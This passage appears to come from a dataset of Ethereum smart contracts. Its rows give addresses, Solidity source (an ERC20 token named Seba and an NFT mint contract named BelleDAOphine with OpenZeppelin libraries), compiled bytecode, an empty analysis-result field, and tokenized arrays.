} | 0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638da5cb5b116100665780638da5cb5b14610185578063927e897a1461018d578063b7ef8435146101b3578063d113efc4146101e1578063f2fde38b146102075761009e565b806315d557f9146100a357806364e0b159146100d35780636d7a810e14610101578063715018a61461013b578063740a63e214610143575b600080fd5b6100d1600480360360408110156100b957600080fd5b506001600160a01b038135169060200135151561022d565b005b6100d1600480360360408110156100e957600080fd5b506001600160a01b03813581169160200135166102f3565b6101276004803603602081101561011757600080fd5b50356001600160a01b031661041b565b604080519115158252519081900360200190f35b6100d1610430565b6101696004803603602081101561015957600080fd5b50356001600160a01b03166104dc565b604080516001600160a01b039092168252519081900360200190f35b6101696104f7565b610127600480360360208110156101a357600080fd5b50356001600160a01b0316610506565b6100d1600480360360408110156101c957600080fd5b506001600160a01b0381358116916020013516610526565b610169600480360360208110156101f757600080fd5b50356001600160a01b03166105df565b6100d16004803603602081101561021d57600080fd5b50356001600160a01b03166105fd565b6102356106ff565b6001600160a01b03166102466104f7565b6001600160a01b03161461028f576040805162461bcd60e51b8152602060048201819052602482015260008051602061072a833981519152604482015290519081900360640190fd5b6001600160a01b038216600081815260016020908152604091829020805460ff191685151590811790915582519384529083015280517ff7e3efe5919be016e336679c13e2a2665c4fc3055a7ec7fdbb5db365aceb63729281900390910190a15050565b3360009081526001602052604090205460ff16610357576040805162461bcd60e51b815260206004820152601b60248201527f526566657272616c52656769737472793a20464f5242494444454e0000000000604482015290519081900360640190fd5b6001600160a01b0382811660009081526002602052604090205416156103c4576040805162461bcd60e51b815260206004820152601f60248201527f526566657272616c52656769737472793a20414e43484f525f45584953545300604482015290519081900360640190fd5b6001600160a01b0382811660008181526002602052604080822080546001600160a01b0319169486169485179055517f4389ea9d577ad3ab7faf0764f4b00da3cb150827be376c9d56dd42bd054d8b1e9190a35050565b60016020526000908152604090205460ff1681565b6104386106ff565b6001600160a01b03166104496104f7565b6001600160a01b031614610492576040805162461bcd60e51b8152602060048201819052602482015260008051602061072a833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6002602052600090815260409020546001600160a01b031681565b6000546001600160a01b031690565b6001600160a01b0390811660009081526002602052604090205416151590565b61052e6106ff565b6001600160a01b031661053f6104f7565b6001600160a01b031614610588576040805162461bcd60e51b8152602060048201819052602482015260008051602061072a833981519152604482015290519081900360640190fd5b6001600160a01b0382811660008181526002602052604080822080546001600160a01b0319169486169485179055517f90239190ef596e4d04eeffcbf6cc2232c6a13328ebbb2beb713eecce887d82be9190a35050565b6001600160a01b039081166000908152600260205260409020541690565b6106056106ff565b6001600160a01b03166106166104f7565b6001600160a01b03161461065f576040805162461bcd60e51b8152602060048201819052602482015260008051602061072a833981519152604482015290519081900360640190fd5b6001600160a01b0381166106a45760405162461bcd60e51b81526004018080602001828103825260268152602001806107046026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b339056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122067104c0dfa6af438bfdafd5e8ba631eda5b56abbcfc6840e353db034ff7d331a64736f6c63430006060033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
25746,
2546,
19317,
2278,
2692,
15878,
19961,
2063,
16703,
2629,
2050,
24434,
2050,
29097,
16086,
2546,
2581,
2546,
26976,
2487,
2546,
2475,
2094,
2581,
2063,
20842,
2094,
2509,
2278,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1012,
1012,
1013,
21183,
12146,
1013,
6123,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3206,
11336,
2029,
3640,
1037,
3937,
3229,
2491,
7337,
1010,
2073,
1008,
2045,
2003,
2019,
4070,
1006,
2019,
3954,
1007,
2008,
2064,
2022,
4379,
7262,
3229,
2000,
1008,
3563,
4972,
1012,
1008,
1008,
2011,
12398,
1010,
1996,
3954,
4070,
2097,
2022,
1996,
2028,
2008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,462 | 0x952ff5c358268dbb7a64bd30b1c4140a69931034 | pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicTokenERC20 {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (uint8 => mapping (address => uint256)) internal whitelist;
uint256 totalSupply_;
address public owner_;
constructor() public {
owner_ = msg.sender;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address owner) public view returns (uint256) {
return balances[owner];
}
function transfer(address to, uint256 value) public returns (bool) {
require(to != address(0));
require(value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool){
require(to != address(0));
require(value <= balances[from]);
require(value <= allowed[from][msg.sender]);
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function allowance(address owner, address spender) public view returns (uint256){
return allowed[owner][spender];
}
modifier onlyOwner() {
require(msg.sender == owner_);
_;
}
}
contract Seba is BasicTokenERC20 {
string public constant name = "SebaToken";
string public constant symbol = "SEBA";
uint public decimals = 18;
uint256 public milion = 1000000;
bool public takeToken = false;
uint256 public INITIAL_SUPPLY = 24 * milion * (uint256(10) ** decimals);
mapping (address => bool) internal friendList;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply_;
}
function setFriend(address friendWallet) public onlyOwner{
friendList[friendWallet] = true;
}
function isFriend(address friendWallet) public view returns (bool) {
return friendList[friendWallet];
}
function withdraw(uint256 value) public onlyOwner {
require(value > 0);
require(owner_ != 0x0);
owner_.transfer(value);
}
function () public payable {
require(takeToken == true);
require(msg.sender != 0x0);
uint256 tokens = 100 * (uint256(10) ** decimals);
require(balances[msg.sender] >= tokens);
require(balances[owner_] >= tokens);
balances[owner_] = balances[owner_].sub(tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(owner_, msg.sender, tokens);
}
function startTakeToken() public onlyOwner {
takeToken = true;
}
function stopTakeToken() public onlyOwner {
takeToken = false;
}
} | 0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610228578063089c9964146102b2578063095ea7b3146102d557806318160ddd1461030d5780631ecfd4c31461033457806323b872dd146103495780632e1a7d4d146103735780632ff2e9dc1461038b578063313ce567146103a057806362ee7b03146103b557806368125a1b146103ca57806370a08231146103eb57806395d89b411461040c578063a9059cbb14610421578063ce3cef0d14610445578063dd62ed3e1461045a578063e766307914610481578063f2711812146104b2575b60075460009060ff16151560011461011257600080fd5b33151561011e57600080fd5b5060055433600090815260208190526040902054600a9190910a6064029081111561014857600080fd5b600454600160a060020a031660009081526020819052604090205481111561016f57600080fd5b600454600160a060020a031660009081526020819052604090205461019a908263ffffffff6104c716565b600454600160a060020a03166000908152602081905260408082209290925533815220546101ce908263ffffffff6104d916565b336000818152602081815260409182902093909355600454815185815291519293600160a060020a03909116927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350005b34801561023457600080fd5b5061023d6104ec565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027757818101518382015260200161025f565b50505050905090810190601f1680156102a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102be57600080fd5b506102d3600160a060020a0360043516610523565b005b3480156102e157600080fd5b506102f9600160a060020a036004351660243561055e565b604080519115158252519081900360200190f35b34801561031957600080fd5b506103226105c4565b60408051918252519081900360200190f35b34801561034057600080fd5b506102f96105ca565b34801561035557600080fd5b506102f9600160a060020a03600435811690602435166044356105d3565b34801561037f57600080fd5b506102d360043561074a565b34801561039757600080fd5b506103226107c3565b3480156103ac57600080fd5b506103226107c9565b3480156103c157600080fd5b506102d36107cf565b3480156103d657600080fd5b506102f9600160a060020a03600435166107f5565b3480156103f757600080fd5b50610322600160a060020a0360043516610813565b34801561041857600080fd5b5061023d61082e565b34801561042d57600080fd5b506102f9600160a060020a0360043516602435610865565b34801561045157600080fd5b506102d3610946565b34801561046657600080fd5b50610322600160a060020a0360043581169060243516610969565b34801561048d57600080fd5b50610496610994565b60408051600160a060020a039092168252519081900360200190f35b3480156104be57600080fd5b506103226109a3565b6000828211156104d357fe5b50900390565b818101828110156104e657fe5b92915050565b60408051808201909152600981527f53656261546f6b656e0000000000000000000000000000000000000000000000602082015281565b600454600160a060020a0316331461053a57600080fd5b600160a060020a03166000908152600960205260409020805460ff19166001179055565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035490565b60075460ff1681565b6000600160a060020a03831615156105ea57600080fd5b600160a060020a03841660009081526020819052604090205482111561060f57600080fd5b600160a060020a038416600090815260016020908152604080832033845290915290205482111561063f57600080fd5b600160a060020a038416600090815260208190526040902054610668908363ffffffff6104c716565b600160a060020a03808616600090815260208190526040808220939093559085168152205461069d908363ffffffff6104d916565b600160a060020a038085166000908152602081815260408083209490945591871681526001825282812033825290915220546106df908363ffffffff6104c716565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600454600160a060020a0316331461076157600080fd5b6000811161076e57600080fd5b600454600160a060020a0316151561078557600080fd5b600454604051600160a060020a039091169082156108fc029083906000818181858888f193505050501580156107bf573d6000803e3d6000fd5b5050565b60085481565b60055481565b600454600160a060020a031633146107e657600080fd5b6007805460ff19166001179055565b600160a060020a031660009081526009602052604090205460ff1690565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600481527f5345424100000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561087c57600080fd5b3360009081526020819052604090205482111561089857600080fd5b336000908152602081905260409020546108b8908363ffffffff6104c716565b3360009081526020819052604080822092909255600160a060020a038516815220546108ea908363ffffffff6104d916565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600454600160a060020a0316331461095d57600080fd5b6007805460ff19169055565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600454600160a060020a031681565b600654815600a165627a7a7230582090b5404daf543404b68746224c2c9e96234673fb17cc64169c053f0697c203350029 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
25746,
4246,
2629,
2278,
19481,
2620,
23833,
2620,
18939,
2497,
2581,
2050,
21084,
2497,
2094,
14142,
2497,
2487,
2278,
23632,
12740,
2050,
2575,
2683,
2683,
21486,
2692,
22022,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2603,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1039,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,463 | 0x953149ED724743Fa3a7a7F402e157AD8cf914C45 | //SPDX-License-Identifier: MIT
//Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721)
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Base64.sol";
import "./ERC721A.sol";
import "./Utils.sol";
contract BelleDAOphine is ERC721A, IERC2981, Ownable, ReentrancyGuard {
using Strings for uint256;
string private baseURI = "https://gateway.pinata.cloud/ipfs/QmQGKAWMDmgef2UrCKDRTrZTUYiHRrcJb8Zs6rrKmeV7VT";
address private openSeaProxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
bool private isOpenSeaProxyActive = true;
uint256 public constant MAX_MINTS_PER_TX = 20;
uint256 public NUM_FREE_MINTS = 555;
uint256 public MAX_SUPPLY = 1100;
uint256 public constant PUBLIC_SALE_PRICE = 0.01 ether;
bool public isPublicSaleActive = true;
// ============ ACCESS CONTROL/SANITY MODIFIERS ============
modifier publicSaleActive() {
require(isPublicSaleActive, "Public sale is not open");
_;
}
modifier maxMintsPerTX(uint256 numberOfTokens) {
require(
numberOfTokens <= MAX_MINTS_PER_TX,
"Max mints per transaction exceeded"
);
_;
}
modifier canMintNFTs(uint256 numberOfTokens) {
require(
totalSupply() + numberOfTokens <= MAX_SUPPLY,
"Not enough mints remaining to mint"
);
_;
}
modifier freeMintsAvailable() {
require(
totalSupply() <=
NUM_FREE_MINTS,
"Not enough free mints remain"
);
_;
}
modifier isCorrectPayment(uint256 price, uint256 numberOfTokens) {
if (totalSupply() > NUM_FREE_MINTS){
require(
(price * numberOfTokens) == msg.value,
"Incorrect ETH value sent"
);
}
_;
}
constructor() ERC721A("BelleDAOphine", "BELLE", 20, MAX_SUPPLY) {
}
// ============ PUBLIC FUNCTIONS FOR MINTING ============
function mint(uint256 numberOfTokens)
external
payable
nonReentrant
isCorrectPayment(PUBLIC_SALE_PRICE, numberOfTokens)
publicSaleActive
canMintNFTs(numberOfTokens)
maxMintsPerTX(numberOfTokens)
{
_safeMint(msg.sender, numberOfTokens);
}
function freeMint(uint256 numberOfTokens)
external
nonReentrant
publicSaleActive
canMintNFTs(numberOfTokens)
maxMintsPerTX(numberOfTokens)
freeMintsAvailable()
{
_safeMint(msg.sender, numberOfTokens);
}
// ============ PUBLIC READ-ONLY FUNCTIONS ============
function getBaseURI() external view returns (string memory) {
return baseURI;
}
// ============ OWNER-ONLY ADMIN FUNCTIONS ============
function setBaseURI(string memory _baseURI) external onlyOwner {
baseURI = _baseURI;
}
// function to disable gasless listings for security in case
// opensea ever shuts down or is compromised
function setIsOpenSeaProxyActive(bool _isOpenSeaProxyActive)
external
onlyOwner
{
isOpenSeaProxyActive = _isOpenSeaProxyActive;
}
function setIsPublicSaleActive(bool _isPublicSaleActive)
external
onlyOwner
{
isPublicSaleActive = _isPublicSaleActive;
}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
// ============ FUNCTION OVERRIDES ============
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
return
interfaceId == type(IERC2981).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev Override isApprovedForAll to allowlist user's OpenSea proxy accounts to enable gas-less listings.
*/
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
// Get a reference to OpenSea's proxy registry contract by instantiating
// the contract using the already existing address.
ProxyRegistry proxyRegistry = ProxyRegistry(
openSeaProxyRegistryAddress
);
if (
isOpenSeaProxyActive &&
address(proxyRegistry.proxies(owner)) == operator
) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
string memory output = string(abi.encodePacked(baseURI, "/", Utils.toString(tokenId), ".png"));
string memory json = Base64.encode(
bytes(
string(
// TODO BEFORE PROD DEPLOY - UPDATE DESCRIPTION
abi.encodePacked(
'{"name": "Belle DAOphine Pass #',
Utils.toString(tokenId),
'", "description": "Hi! This is BelleDAOphine <3 Welcome to my cute and weird lil world.. This is where you will find 1111 membership passes that wont be found anywhere else! I am so excited to share this silly, vulnerable, and magical journey with you.", "image": "',
output,
'"}'
)
)
)
);
output = string(
abi.encodePacked("data:application/json;base64,", json)
);
return output;
}
/**
* @dev See {IERC165-royaltyInfo}.
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
require(_exists(tokenId), "Nonexistent token");
return (address(this), SafeMath.div(SafeMath.mul(salePrice, 5), 100));
}
}
// These contract definitions are used to create a reference to the OpenSea
// ProxyRegistry contract by using the registry's address (see isApprovedForAll).
contract OwnableDelegateProxy {
}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Interface for the NFT Royalty Standard
*/
interface IERC2981 is IERC165 {
/**
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
